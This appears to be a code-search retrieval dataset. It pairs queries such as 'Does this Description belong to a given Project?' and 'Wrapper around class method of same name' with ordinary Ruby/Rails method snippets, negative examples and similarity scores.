File.read file\n else\n source\n end\n end", "def source_id\n return @source_id\n end", "def type\n Medium.find(self.source.medium_id).media\n end", "def project\n self.format.try(:project)\n end", "def source_object\n @source_object ||= if name =~ /^[A-Z]/\n Pry::WrappedModule(self)\n else\n Pry::Method(block)\n end\n end", "def get_source\n # must set max nesting. default limit of 20 is too low for selendroid\n JSON.parse @driver.page_source, max_nesting: 9999\n end", "def show\n @source = Source.find(params[:id])\n\n @title = \"Source Details\"\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @source }\n end\n end", "def source_name\n return @source_name\n end", "def inspect\n \"#<#{self.class} @source=#{@source}>\"\n end", "def to_s\n @source\n end", "def turn_source_into_resource(record)\n return record if record.kind_of?(JSONAPI::Resource)\n @request.source_klass.new(record, context)\n end", "def object\n @obj\n end", "def get\n val = @source.get\n return nil if val.nil?\n processed_val = process(val)\n if processed_val.nil?\n get\n else\n return processed_val\n end\n\n end", "def source\n File.read(source_path)\n end", "def bib_source_title\n @bib_part.fetch('BibEntity',{}).fetch('Titles',{}).find{|item| item['Type'] == 'main'}['TitleFull']\n end", "def project\n object.featured_project\n end", "def extract\n source = self.options.fetch(:source, nil)\n @raw = OpenContent::Extractor.process(source, ET.logger)\n end", "def description\n object[\"description\"]\n end", "def thumbnail_source\n\t\t\t@data[\"thumbnail\"][\"source\"] if @data[\"thumbnail\"]\n\t\tend", "def object\n obj = get_result('object')\n if obj != nil\n return obj\n end\n fs = files\n if fs != nil and fs.length > 0\n return fs[0]\n end\n nil\n end", "def show\n @content_source = ContentSource.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @content_source }\n end\n end", "def show\n @source = Source.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @source }\n end\n end", "def find(source_id:, validate: false)\n resp = connection.get do |req|\n req.url \"#{objects_path}/find\"\n req.params['sourceId'] = source_id\n end\n raise_exception_based_on_response!(resp) unless resp.success?\n\n build_cocina_from_response(resp, validate: validate)\n end", "def source_member(field)\n resource_key = resource_key_for(field)\n return {} unless field == :base || resource.fetchable_fields.include?(resource_key)\n id = key_format(field)\n\n pointer =\n if field == :base then '/data'\n elsif relationship_names.include?(resource_key) then \"/data/relationships/#{id}\"\n else \"/data/attributes/#{id}\"\n end\n\n { source: { pointer: pointer } }\n end", "def raw_source\n @raw_source ||= Envelope::MessageTools.normalize(message.raw_source)\n end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end" ]
[ "0.7247506", "0.66357994", "0.66357994", "0.661893", "0.6422995", "0.6422995", "0.62939125", "0.62939125", "0.6290268", "0.62900406", "0.62849873", "0.62569153", "0.6111213", "0.6060943", "0.6035761", "0.5980306", "0.5889795", "0.5868077", "0.58623666", "0.58553004", "0.58083266", "0.579722", "0.579722", "0.57893294", "0.57860523", "0.57525986", "0.57504475", "0.5749072", "0.5701865", "0.5682567", "0.56805474", "0.5660698", "0.56585014", "0.5658204", "0.56231046", "0.56187075", "0.5615973", "0.56120986", "0.5608636", "0.56063545", "0.56063545", "0.55945593", "0.55896646", "0.5577428", "0.5577428", "0.5567728", "0.55658937", "0.5555472", "0.55399936", "0.5526697", "0.5526207", "0.5507602", "0.5507602", "0.5507602", "0.54790455", "0.54749686", "0.54694587", "0.5459646", "0.5454853", "0.5436348", "0.5425264", "0.54109985", "0.54011464", "0.5398083", "0.53863", "0.5385048", "0.53736067", "0.53736067", "0.5372508", "0.53710866", "0.5362334", "0.5353075", "0.5342579", "0.5338664", "0.53342384", "0.5329063", "0.53131604", "0.5312014", "0.5300533", "0.5294044", "0.5282711", "0.5265749", "0.5258493", "0.5256912", "0.5254565", "0.5254372", "0.52436703", "0.52426714", "0.5237042", "0.5232354", "0.5231981", "0.52231586", "0.5219265", "0.5212816", "0.52043736", "0.5198606", "0.5198606", "0.5198606", "0.5198606", "0.5198606" ]
0.75499564
0
Does this Description belong to a given Project?
def belongs_to_project?(project) (source_type == "project") && (project_id == project.id) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def project?(p)\r\n projects.include?(p)\r\n end", "def has_project?\n !project_id.nil? && project.visible\n end", "def is_for_project?\n not self.project.nil?\n end", "def project?\n ! @project.nil?\n end", "def project?\n true\n end", "def project_exists?(name)\n projects.include?(name)\n end", "def has_project?(name)\n available_projects.has_key?(name)\n end", "def package_project_valid?\n Project.first(:code => metadata[\"dmd-project\"], :account => {:code => metadata[\"dmd-account\"]}) != nil\n end", "def member_of?(project)\n role_for_project(project).member?\n end", "def suitable_for?(discipline)\n name = name_discipline(discipline)\n count = self.disciplines.count(:conditions => ['name = ?', name])\n return count > 0\n>>>>>>> 336471e6be257cf55c9afa2a65f928fde34e41fe:app/models/project.rb\n end", "def member_of?(project)\n !roles_for_project(project).detect { |role| role.member? }.nil?\n end", "def isChildproject(childproject, parentproject)\r\n\t\tisChild = false\r\n\t\tif (childproject.id != parentproject.id)\r\n\t\t\tif (childproject.is_descendant_of?(parentproject))\r\n\t\t\t\tisChild = true\r\n\t\t\tend\r\n\t\tend\t\r\n\t\treturn isChild\r\n\tend", "def can_create_projects?\n Project.can_create?\n end", "def verify_project_desc(test_data)\n verify_values_match(test_data[CoreUseOfCollectionsData::PROJECT_DESC.name], element_value(project_desc_text_area))\n end", "def notional?\n (capital_project.notional?)\n end", "def verify_project_desc(test_data)\n verify_values_match(test_data[UseOfCollections::PROJECT_DESC.name], element_value(project_desc_text_area))\n end", "def project?; @is_project || false; end", "def owner?(project)\n if id == project.user.id\n true\n else\n false\n end\n end", "def check_own_project_and_redirect?\n unless current_user.projects.ids.include? params[:project_id].to_i\n flash[:danger] = 'Access denied. You do not own that project.'\n redirect_to projects_path\n return true\n end\n false\n end", "def is_project_in_workspace(project, workspace)\n test_project_oid = project[\"ObjectID\"]\n this_workspace_oid = workspace[\"ObjectID\"]\n\n object_id_matches = false\n these_projects = @workspace_hash_of_projects[this_workspace_oid]\n these_projects.each do | this_project |\n this_project_oid = this_project[\"ObjectID\"]\n if test_project_oid == this_project_oid then\n object_id_matches = true\n end\n end\n return object_id_matches\n end", "def ==(project_to_compare)\n self.title() == project_to_compare.title()\n end", "def project_allowed(project)\n Chef::Cache::KNOWN_PROJECTS.include? project\n end", "def user_is_associated_with_project\n return if user_id.nil? || project_id.nil? ||\n user.projects.exists?(id: project.id)\n errors.add(:user_id, 'is not associated with this Project')\n end", "def is_managed_in_project?(project)\r\n\t\t\t\tLeavesHolidaysManagements.management_rules_list(self, 'sender', 'is_managed_by', project).any?\r\n\t\t\tend", "def have_permission?(project, user)\n member = space_memberships.find_by(user: user)\n project.present? && member.lead_or_admin_or_contributor?\n end", "def has_task?(task)\n self.project_tasks.each do |project_task|\n return true if project_task.task == task\n end\n false\n end", "def is_a_conditional_version_project?(project_name)\n @version_projects ||= group_conditional_custom_field.possible_values\n @version_projects.include?(project_name)\n end", "def check_by_project\n _r = false\n # global_project_breakdown returns multidimensional array containing different project in each line\n # Each line contains 5 elements: Project Id, max_order_total, max_order_price, Net amount sum by project & Item net price\n a = global_project_breakdown(purchase_order_items.order(:project_id))\n d = a.detect { |f| (f[1] > 0 && (f[3] > f[1])) || (f[2] > 0 && (f[4] > f[2])) }\n _r = d.nil? ? false : true\n end", "def developer_can_see_this_project?\n developer = Developer.where(:gamer_id => current_gamer.id).first\n projects_owned = Project.where(:owner_id => developer.id)\n projects_shared1 = developer.projects_shared\n current_project = Project.find(params[:id])\n if !projects_owned.include?(current_project) && !projects_shared1.include?(current_project)\n flash[:error] = t(:developer_cant_see_project)\n redirect_to projects_path\n end \n end", "def new_expert?\n project_tasks.where(status: 'finished').count <= 1\n end", "def can_edit?(project)\n current_user.id == project.created_by\n end", "def project?(spec)\n spec.team == Settings.project_root\n end", "def shared?\n\t\tself.project_groups.count > 1\n\tend", "def in_relationship?(user)\n return true if UserProject.where(user: user, project: self).first\n end", "def my_projects\n # Look at all the project\n # see which project's creator is equal to self\n Project.all.select do |project|\n project.creator == self\n end\n end", "def project_index?\n # user_activities.include? 'attachment:index'\n # user_activities.include? 'attachment:project_index'\n (user_activities.include? 'attachment:project_index') || (event_activities(@model).include? 'attachment:project_index')\n end", "def valid?\n begin\n PROJECT_API.find(:first).nil?\n true\n rescue\n false\n end\n end", "def has_associated\n self.portfolio && self.design && self.plan\n end", "def check_project_exists\n\n # if latitude is within +/- 2 ten-thounsandths of another project's latitude it is the same\n (Project.select{ |proj| proj.project_type == self.project_type }.count > 0 && Project.select{ |proj| proj.street1.to_f.between?((self.street1.to_f - 0.002), (self.street1.to_f + 0.002))}.count > 0 && Project.select{ |proj| proj.street2.to_f.between?((self.street2.to_f - 0.02), (self.street2.to_f + 0.02))}.count > 0)\n end", "def project_exists\n\n if self.check_project_exists == true\n return (Project.select{ |proj| proj.project_type == self.project_type } && Project.select{ |proj| proj.street1.to_f.between?((self.street1.to_f - 0.02), (self.street1.to_f + 0.02))} && Project.select{ |proj| proj.street2.to_f.between?((self.street2.to_f - 0.02), (self.street2.to_f + 0.02 ))})\n else\n return []\n end\n end", "def contested?\n if issue\n self.class.where(issue_id: issue.id).count > 1 \n elsif pact\n self.class.where(pact_id: pact.id).count > 1\n end\n end", "def can_generate_from_scheulde_for(project)\n if project.entries.length > 0\n true\n else\n false\n end\n end", "def project_by_name(project_name)\n projects.find { |project| project['name'].casecmp(project_name) == 0 }\n end", "def can_abdicate?\n project = Project.find(self.project_id)\n participants = Participant.where(project_id: self.project_id).where.not(id: self.id)\n other_organizers = participants.any?{|f| f.can_organize? }\n if other_organizers.present?\n true\n end\n end", "def visible?(project, current_user)\n call_name = self.name.downcase.gsub(/ /, '_') + '_is_visible?'\n if respond_to? call_name.to_sym\n send(call_name.to_sym, project, current_user)\n else\n true\n end\n end", "def newproject?\n session.new?\n end", "def iteration_belongs_to_the_project\n return unless iteration_id && project_id\n\n return if project.iterations.exists?(id: iteration_id)\n errors.add(:iteration_id, 'does not belong to project_id')\n end", "def my_projects\n # Look at all the project\n # see which project's creator is equal to self\n Project.all.select do |project|\n project.creator == self\n end\n end", "def project_saved?\n begin \n @project.transaction do\n # validations\n ensure_unique_project_name!\n ensure_unique_tasks_names! \n # save\n save_project!\n save_tasks!\n end\n return true \n rescue Exception => e\n return false\n end \n end", "def can_access?\n project = Project.find(params[:id])\n \n if logged_in?\n user = User.find(session[:user_id])\n unless user.projects.include?(project) or project.visibility == \"Public\"\n redirect_to root_url, :notice => \"You're not authorized to access this project!\"\n end\n elsif project.visibility != \"Public\"\n redirect_to root_url, :notice => \"You're not authorized to access this project!\"\n end\n end", "def valid?\n self.ci.url.to_s\n self.ci.project.to_s\n self.ci.status.to_s\n true\n rescue Error\n false\n end", "def projects\n Project.all.select { |project| project.creator == self }\n end", "def project_email?(email)\n email.subject =~ PROJECT_SUBJECT\n end", "def can_add?\n project = Project.find(params[:project_id])\n\n if logged_in?\n user = User.find(session[:user_id])\n if user.projects.include?(project)\n member = project.members.find_by_user_id(user)\n if (member.member_role.role == \"creator\" or member.member_role.role == \"administrator\")\n return true\n end\n end\n end\n redirect_to project, :notice => \"You're not authorized to modify this project!\"\n end", "def has_company?\n if self.group && self.group.company\n true\n else\n false\n end\n end", "def reviews?(resource)\n project = resource.projects.hidden.first\n project && project.collaborators.exists?(id)\n end", "def accessible?\n admin? || owner? || @project.is_open_source?\n end", "def excluded?(project_name)\n @excluded_projects.has_key?(project_name)\n end", "def over_limit_for?(plan)\n return true if projects.count > plan.projects_allowed\n false\n end", "def suitable_for_all?\n<<<<<<< HEAD:app/models/project.rb\n \treturn self.disciplines.count(:all) == Discipline.count(:all)\n=======\n \treturn self.disciplines.count(:all) == Discipline.count(:all)\n>>>>>>> 336471e6be257cf55c9afa2a65f928fde34e41fe:app/models/project.rb\n end", "def sogr?\n (capital_project.sogr?)\n end", "def validate_project\n file = ProjectFile.find_by(id: project_file_id)\n comment = Comment.find_by(id: comment_id)\n if file.project.id != comment.project.id\n errors.add(:project_file_id, \n \"must be part of the same project as the comment\")\n end\n end", "def has?(name, tag)\n within(@page_container_list, text: @description) do\n element_is_visible(name, tag, OBJECTIVE)\n end\n end", "def has_description?\n true\n end", "def is_active(effort)\n if effort.deliverable and effort.deliverable.project_phase and effort.deliverable.project_phase.project\n return effort.deliverable.project_phase.project.status == 'Active'\n end\nend", "def wl_project_allocation?\r\n\t\t\t\treturn self.wl_project_allocation != nil\r\n\t\t\t\t#return true\r\n\t\t\tend", "def visible?(user=User.current)\n (project.nil? || user.allowed_to?(:view_contacts, project)) && (self.is_public? || self.user_id == user.id)\n end", "def project_model?(name)\n return Rake::application[name].respond_to?('project_model')\n end", "def with_project_id\n if project_id.present?\n table[:project_id].eq_any(project_id)\n else\n nil\n end\n end", "def need_send_status_mail?\n Project.owned_by(self).count > 0 ||\n Project.executed_by(self).count.present?\n end", "def is_project_disabled(proj)\n ## check project\n return true if proj.nil?\n\n ## check proj custom field\n proj_cf = ProjectCustomField.find_by_name(\"Hangouts Chat Webhook Disabled\")\n return true if proj_cf.nil?\n\n ## check proj custom value\n proj_cv = proj.custom_value_for(proj_cf)\n\n ## proj_cv is null\n return false if proj_cv.nil?\n\n return false if proj_cv.value == '1'\n\n return false\n end", "def has_images?\n Project.joins(:images).where('projects.id = ?', id).count > 0\n end", "def present?(instance)\n description.instances.map(&:instance_id).include?(instance)\n end", "def can_manage_group?(project, group)\n group.is_child_of?(project)\n end", "def good?\n @summary[:total_score] <= Constants::THRESHOLDS[\"Project\"]\n end", "def has_go_to_project_button?(gh_project_name)\n within_element(:project_import_row, source_project: gh_project_name) do\n has_element?(:go_to_project_button)\n end\n end", "def within_projects_limit?\n #return true if @homebase.plan.priveleges.find(1).plan_limit.to_i == 0\n #return true if @homebase.projects.count < @homebase.plan.priveleges.find(1).plan_limit.to_i\n return true if @homebase.within_projects_limit?\n false\n end", "def verify_project_id(test_data)\n verify_values_match(test_data[UseOfCollections::PROJECT_ID.name], element_value(project_id_input))\n end", "def visible?(user=User.current)\n user.allowed_to?(:view_issues, self.project)\n end", "def should_see_project_named(name)\n expect(page).to have_content name\n expect(page).to have_content \"STATUS UNDERWAY\"\n end", "def verify_project_id(test_data)\n verify_values_match(test_data[CoreUseOfCollectionsData::PROJECT_ID.name], element_value(project_id_input))\n end", "def check_project_permission(ids, l)\n projects = Project.find(ids)\n members = []\n permissions = []\n projects.each { |rec| members << rec.member_principals.find_by_user_id(User.current.id) }\n members.flatten.each do |rec|\n rec.member_roles.each { |rec| permissions << rec.role.permissions } if rec.present?\n end\n if permissions.flatten.present? && permissions.flatten.include?(l.to_sym)\n return true\n else\n return false\n end\n end", "def can_modify?\n project = Project.find(params[:id])\n \n if logged_in?\n user = User.find(session[:user_id])\n if user.projects.include?(project)\n member = project.members.find_by_user_id(user)\n if (member.member_role.role == \"creator\" or member.member_role.role == \"administrator\")\n return true\n end\n end\n end\n redirect_to project, :notice => \"You're not authorized to modify this project!\"\n end", "def is_design_problem?\n return self.type == \"DesignProblem\"\n end", "def project(id)\n self.projects(\"all\").detect { |p| p.id == id }\n end", "def project(key)\n @tracker.getProjects.detect { |pro| pro.key == key }\n end", "def join_or_create_project_banner?\n return false unless logged_in_and_registered?\n return false if logged_in_and_member?\n return false if current_page?(create_or_join_project_home_path) ||\n current_page?(guided_create_projects_path) ||\n current_page?(guided_join_projects_path)\n\n #current_page? doesn't work with POST\n return false if ['request_join','request_create'].include?(action_name)\n\n return Seek::Config.programmes_enabled && Programme.site_managed_programme\n end", "def projects_contracting_requests(_projects)\n ContractingRequest.is_connection_belongs_to_project(_projects)\n end", "def has_many?\n @macro == :belongs_to\n end", "def must_not_be_a_project_observation\n\n if ProjectObservation.first(:conditions => {:observation_id => self.observation_id, :project_id => self.project_id})\n errors.add(:observation_id, \"can't be used to make invitation when project_observation exists for same observation_id and project_id\")\n end\n true\nend", "def project_hierarchy?(project)\n return -2 if project.nil?\n return 3 if is_superuser\n return 2 if project.manager == self\n project_team_member = team_members.select{|t| t.team == project.team}.first\n return -1 if project_team_member.nil?\n return 1 if project_team_member.is_admin\n return 0\n end", "def is_item_with_description_exist(new_item)\n item_found = @items.find{|item| item.description == new_item }\n return !item_found.nil?\n end", "def description\n project.description\n end", "def description\n project.description\n end", "def is_lead\n\t\tif !params[:project_id].nil? || params[:project_id] != \"\"\n\t\t\t@project = Project.find(params[:project_id])\n\t\t\t@user_role = UserProjectRole.where(:project_id => @project.id, :user_id => current_user.id).first\n\t\t\tif @user_role.role == 'lead'\n\t\t\t\treturn true\n\t\t\tend\n\t\tend\n\t\treturn false\n\tend", "def visible?(user=User.current)\n (project.nil? || user.allowed_to?(:view_invoices, project))\n end", "def organization?\n self.tier? && self.tier.is_a?(Organization)\n end", "def can_destroy\n @project = Project.find(params[:id])\n redirect_to(projects_path) unless current_user?(@project.user) || current_user.admin?\n end", "def has_portfolio(desired_name)\n found_portfolio = false\n @portfolios.each do |item|\n if item.name == desired_name\n found_portfolio = true\n end\n end\n found_portfolio\n end", "def description?\n !description.nil? && !description.empty?\n end" ]
[ "0.76962286", "0.726558", "0.70722294", "0.7044041", "0.6984354", "0.6905717", "0.68513834", "0.6663294", "0.6540573", "0.6504762", "0.64169717", "0.6400738", "0.63710165", "0.637062", "0.6315698", "0.6297305", "0.6282142", "0.6281135", "0.62582123", "0.62500346", "0.6199254", "0.6190985", "0.6188631", "0.61475974", "0.61127466", "0.6108882", "0.6108696", "0.60741436", "0.6068242", "0.60454947", "0.60179746", "0.5955063", "0.5953537", "0.59466887", "0.59412116", "0.59310377", "0.589396", "0.5890398", "0.5887334", "0.58375764", "0.5832147", "0.5829098", "0.5805966", "0.57922554", "0.57562774", "0.57491547", "0.57369906", "0.5734156", "0.573205", "0.5731108", "0.5725985", "0.57253975", "0.5710783", "0.57009315", "0.5699335", "0.56980777", "0.5696898", "0.5678006", "0.5674684", "0.5671107", "0.56709427", "0.5670298", "0.5664613", "0.5652215", "0.56509614", "0.5650225", "0.5640503", "0.56381583", "0.56358725", "0.5634998", "0.56306416", "0.56078404", "0.5603768", "0.5595774", "0.55935127", "0.55916816", "0.55799043", "0.55797917", "0.5568825", "0.55646205", "0.5560949", "0.5554208", "0.5523574", "0.55186933", "0.5518374", "0.55181235", "0.55149996", "0.5496322", "0.54930687", "0.5490726", "0.54901624", "0.5481074", "0.5480169", "0.5480169", "0.5467534", "0.54642123", "0.5462879", "0.5456738", "0.54513043", "0.5439352" ]
0.7785322
0
Wrapper around class method of same name
def admins_join_table self.class.admins_join_table end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def delegating_method; end", "def around_method name, &block\n original_method = instance_method name\n _redefine_method name do |*args|\n instance_exec original_method, *args, &block\n end \n end", "def original_method; end", "def implement(method_name)\n method = @klass.instance_method(method_name)\n end", "def make_independent\n self.method = method.dup\n end", "def class_method2\n end", "def proxy meth\n Proxy.new self, meth\n end", "def alias_class_method(new_name, old_name)\n #klass = self.to_s\n metaclass.instance_eval do\n alias_method new_name, old_name\n end\n end", "def alias_class_method(new_name, old_name)\n #klass = self.to_s\n metaclass.instance_eval do\n alias_method new_name, old_name\n end\n end", "def public_class_method(*rest) end", "def method_of_instance; end", "def method_of_instance; end", "def method_of_instance; end", "def method_of_instance; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method_for(klass, meth)\n klass.instance_method(meth)\n end", "def method_missing(method_name, *args, &block)\n wrapped.send(method_name, *args, &block)\n end", "def class_method2\nend", "def original_method(obj, meth, klass=Object)\n klass.instance_method(meth).bind(obj).call\n end", "def original_method(obj, meth, klass=Object)\n klass.instance_method(meth).bind(obj).call\n end", "def a_method\n self\n end", "def unmemoized_instance_method(method_name); end", "def intersys_method(name)\n Method.new(database, class_name, name.to_s, self)\n end", "def method_missing(meth, *args, &block)\n if not @impl.nil? and @impl.respond_to?(meth)\n return @impl.send(meth.to_s, *args, &block)\n end\n # :nocov:\n return super\n # :nocov:\n end", "def method_missing(method_name, *args) self end", "def method_missing(method_name, *args) self end", "def bound_method(block); end", "def apply(klass, method)\n if klass.is_a?(String)\n return unless Object.const_defined?(klass)\n\n klass = Object.const_get(klass)\n end\n\n proxy = self\n original_method = \"_tainted_love_original_#{method}\"\n\n klass.class_eval do\n alias_method original_method, method\n\n define_method method do |*args, &given_block|\n proxy.handle(self, original_method, *args, &given_block)\n end\n end\n end", "def private_class_method(*rest) end", "def wrapper; end", "def define_class_method(name, &code)\n singleton_class.instance_eval { define_method(name, &code) }\n end", "def method(name=nil) # :nodoc:\n return name ? super : @meth\n end", "def wrapper(name); end", "def method_missing(meth, *args); end", "def instance_method(p0) end", "def doubles_by_method_name; end", "def method_missing(method, *args, &block)\n super unless original_self\n original_self.send method, *args, &block\n end", "def method_missing(method, *args)\r\n self.class.method_missing(method, *args)\r\n end", "def class_call(method_name)\n Scenario::Orchestrator.new(self, @mock_class_double, :class, method_name)\n end", "def method_missing(sym, *args, &block)\n @original_self.send(sym, *args, &block)\n end", "def method_missing(meth, *args, &block)\n if !(meth.to_s =~ /=/) and (suffixed_method = \"#{meth.to_s}__c\") and respond_to?(suffixed_method)\n send(suffixed_method)\n else\n super\n end\n end", "def method_missing(meth, *args, &block); end", "def method_missing(meth, *args, &block); end", "def method_missing(meth, *args, &block); end", "def method_missing(*args)\n result = nil\n orig = args.shift\n class_sym = self.class.name.to_sym\n m = orig.to_s[0,5] == '_DAV_' ? orig : \"_DAV_#{orig}\" # If hell is doing the same thing over and over and expecting a different result this is a hell preventer\n raise NoMethodError.new(\"Undefined method: #{orig} for class #{self}.\") unless respond_to?(m)\n @runner.call(class_sym, :before, orig)\n result = send m, *args\n @runner.call(class_sym, :after, orig)\n result\n end", "def magic\n self.class.magic(self)\n end", "def use_as_method\n @method = true\n end", "def run_one_method(klass, method_name, reporter); end", "def restore_instance_method(name)\n if respond_to?(\"#{METHOD_BACKUP_KEY}#{name}\")\n meta_eval {\n alias_method name, \"#{METHOD_BACKUP_KEY}#{name}\"\n remove_method \"#{METHOD_BACKUP_KEY}#{name}\"\n }\n end\n end", "def method_missing(method, *args, &blk); end", "def method\n @method\n end", "def public_class_method(arg0, arg1, *rest)\n end", "def method_missing(method, *args)\n class_for_number(args[0]).public_send(method, *args)\n end", "def method_missing(method, *args)\n class_for_number(args[0]).public_send(method, *args)\n end", "def method_missing(meth, *args, &block)\n\n end", "def method_one; end", "def method_symbol; end", "def add_method(instance, method_name)\n\t define_singleton_method(method_name) do |*args|\n\t instance.public_send(method_name, *args)\n\t end\n\t\tend", "def method_alias(klass, method)\n if klass.method_defined?(method.to_sym) ||\n klass.private_method_defined?(method.to_sym)\n\n with = \"#{method}_with_instana\"\n without = \"#{method}_without_instana\"\n\n klass.class_eval do\n alias_method without, method.to_s\n alias_method method.to_s, with\n end\n else\n ::Instana.logger.debug \"No such method (#{method}) to alias on #{klass}\"\n end\n end", "def old_method\n \"old improved method\"\nend", "def deprecated_method_alias(name, aliased_method, removal_in: nil, class_method: false)\r\n validate name => Symbol, aliased_method => Symbol, removal_in => [NilClass, String],\r\n class_method => [TrueClass, FalseClass]\r\n\r\n target = class_method ? self.class : self\r\n class_name = self.name\r\n\r\n unless target.method_defined?(aliased_method)\r\n raise ArgumentError, \"#{class_name} does not have method #{aliased_method} defined\"\r\n end\r\n\r\n delimiter = class_method ? '.' : '#'\r\n\r\n target.define_method(name) do |*args, **kvargs|\r\n alias_name = format('%s%s%s', class_name, delimiter, name)\r\n aliased_method_name = format('%s%s%s', class_name, delimiter, aliased_method)\r\n Deprecation.warn_method(alias_name, removal_in, aliased_method_name)\r\n method(aliased_method).call(*args, **kvargs)\r\n end\r\n end", "def method=(_); end", "def method_missing(method_sym, *args, &block)\n helper = get_helper(method_sym)\n helper.send(method_sym, *args, &block)\n end", "def method_missing(method_name, *args, &block)\n instance.send(method_name, *args, &block)\n end", "def method_missing(method, *args, &block)\n klass = class_for_api_command(method)\n\n return klass.new(@socket).send(method, *args, &block) if klass\n super(method, *args, &block)\n end", "def method_missing(method, *args, &block); end", "def re_define_class_method(name, &block)\n #klass = self.to_s\n metaclass.instance_eval do\n undef_method(name) if method_defined?(name)\n define_method(name, &block)\n end\n end", "def singleton_method_added(singleton_method_name)\n\n # Skip any methods that are excluded. See @@wrap_exclusions for more information.\n if @@wrap_exclusions.include?(singleton_method_name.to_sym)\n return\n end\n\n # A method that was once wrapped must now be in the excluded list, as well as it's alias.\n # This is to prevent infinite loop.\n @@wrap_exclusions << singleton_method_name.to_sym\n @@wrap_exclusions << \"old_#{singleton_method_name}\".to_sym\n\n # Because I am in a class method here, I need the special self.class_eval\n # in order to add new class methods. Because the names are part of a variable,\n # I use the HEREDOC so I can call alias_method and redefine the same method.\n #\n # * We create an alias so we can call the original method.\n # * We redefine the method by calling before and after callbacks.\n # * The before callbacks are skipped if they are already called without the after.\n # * The after callbacks are skipped if one of the method called a sibbling.\n # We only do the after callbacks when its the original methods that has finished.\n # * Any arguments and return values are perseved\n # * Methods that supports blocks are not supported.\n self.class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1\n class << self\n alias_method :old_#{singleton_method_name}, :#{singleton_method_name}\n end\n def self.#{singleton_method_name}(*args)\n if time_to_call_before_methods?\n before_methods.each do |method|\n send(method)\n end\n end\n entering_wrap_method\n result = old_#{singleton_method_name} *args\n leaving_wrap_method\n if time_to_call_after_methods?\n after_methods.each do |method|\n send(method)\n end\n end\n result\n end\n RUBY_EVAL\n\n end", "def meth(arg1)\nend", "def alias_class_method_chain(target, feature)\n # Strip out punctuation on predicates or bang methods since\n # e.g. target?_without_feature is not a valid method name.\n aliased_target, punctuation = target.to_s.sub(/([?!=])$/, ''), $1\n yield(aliased_target, punctuation) if block_given?\n alias_class_method \"#{aliased_target}_without_#{feature}#{punctuation}\", target\n alias_class_method target, \"#{aliased_target}_with_#{feature}#{punctuation}\"\n end", "def method_missing_with_wrapper(symbol, *args, &block)\n @element.respond_to?(symbol) ? @element.send(symbol, *args, &block) : method_missing_without_wrapper(symbol, *args, &block)\n end", "def test_Method_InstanceMethods_to_proc\n\t\tpass\n\tend", "def add_method_to(cls)\n cls.class_eval do\n def m; 'hello'; end\n end\nend", "def method\n @method\n end", "def method\n @method\n end", "def method_missing(m, *args)\n begin\n JavaObjectWrapper.wrap_java_object(@java_object.send(m, *args))\n rescue RuntimeError => e\n # The instance method failed. See if this is a static method.\n if not e.message.match(/^Fail: unknown method name/).nil?\n getClass.send(m, *args)\n end\n end\n end", "def append_value_to_class_method(method, value)\n old_value = send(method)\n new_value = old_value.dup << value\n redefine_class_method(method, old_value.frozen? ? new_value.freeze : new_value)\n end", "def restore_class_method(klass,method_name)\n restore_method_by_type(class << klass; self end,method_name,METHOD_TYPE_CLASS)\n end", "def method_missing(method, *arguments, &block); end", "def abstract_singleton_method(*names); end", "def on_success(_klass, _method); end", "def signature\n \"#{klass_name}#{method_name}\"\n end", "def mk_method(proc)\n @klass.send(:define_method, @method_name, proc)\n end", "def meth(arg1,arg2)\nend", "def meth(arg1,arg2)\nend", "def method_missing(meth, options = T.unsafe(nil)); end", "def alias_method(sym1,sym2) end", "def method_missing(method, *args, &block)\n self.class.define_proxy method\n send(method, *args, &block)\n end", "def create_abstract_instance_method(name); end", "def def_class(superklass=Object, methodname='result')\n cls = Class.new(superklass)\n def_method(cls, methodname, @filename || '(ERB)')\n cls\n end" ]
[ "0.7052142", "0.6796785", "0.67535836", "0.67271453", "0.665431", "0.6650893", "0.6632066", "0.65957004", "0.65957004", "0.6594876", "0.6557982", "0.6557982", "0.6557982", "0.6557982", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.6520338", "0.64937437", "0.64344156", "0.64162797", "0.6312371", "0.6312371", "0.62935114", "0.6278679", "0.62742597", "0.62551725", "0.6248854", "0.6248854", "0.6243341", "0.6241696", "0.62260073", "0.62203205", "0.6200517", "0.61895233", "0.61837584", "0.6181561", "0.6179386", "0.6176676", "0.61712396", "0.6170665", "0.6160905", "0.6156366", "0.6145967", "0.61455214", "0.61455214", "0.61455214", "0.61316866", "0.6103533", "0.6102451", "0.60963887", "0.6096017", "0.6087581", "0.6077628", "0.6071062", "0.60634625", "0.60634625", "0.6052548", "0.60515255", "0.60509145", "0.6031923", "0.60144323", "0.60073876", "0.5993274", "0.5988435", "0.5984886", "0.5960302", "0.59595907", "0.5954065", "0.59451807", "0.594285", "0.59338474", "0.59260744", "0.5916678", "0.5905966", "0.5905584", "0.5897404", "0.5897404", "0.5894935", "0.5884208", "0.58789355", "0.58733284", "0.5872744", "0.5872329", "0.5862618", "0.5862515", "0.5850222", "0.5850222", "0.5845582", "0.584284", "0.58376163", "0.58357835", "0.58331364" ]
0.0
-1
Wrapper around class method of same name
def writers_join_table self.class.writers_join_table end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
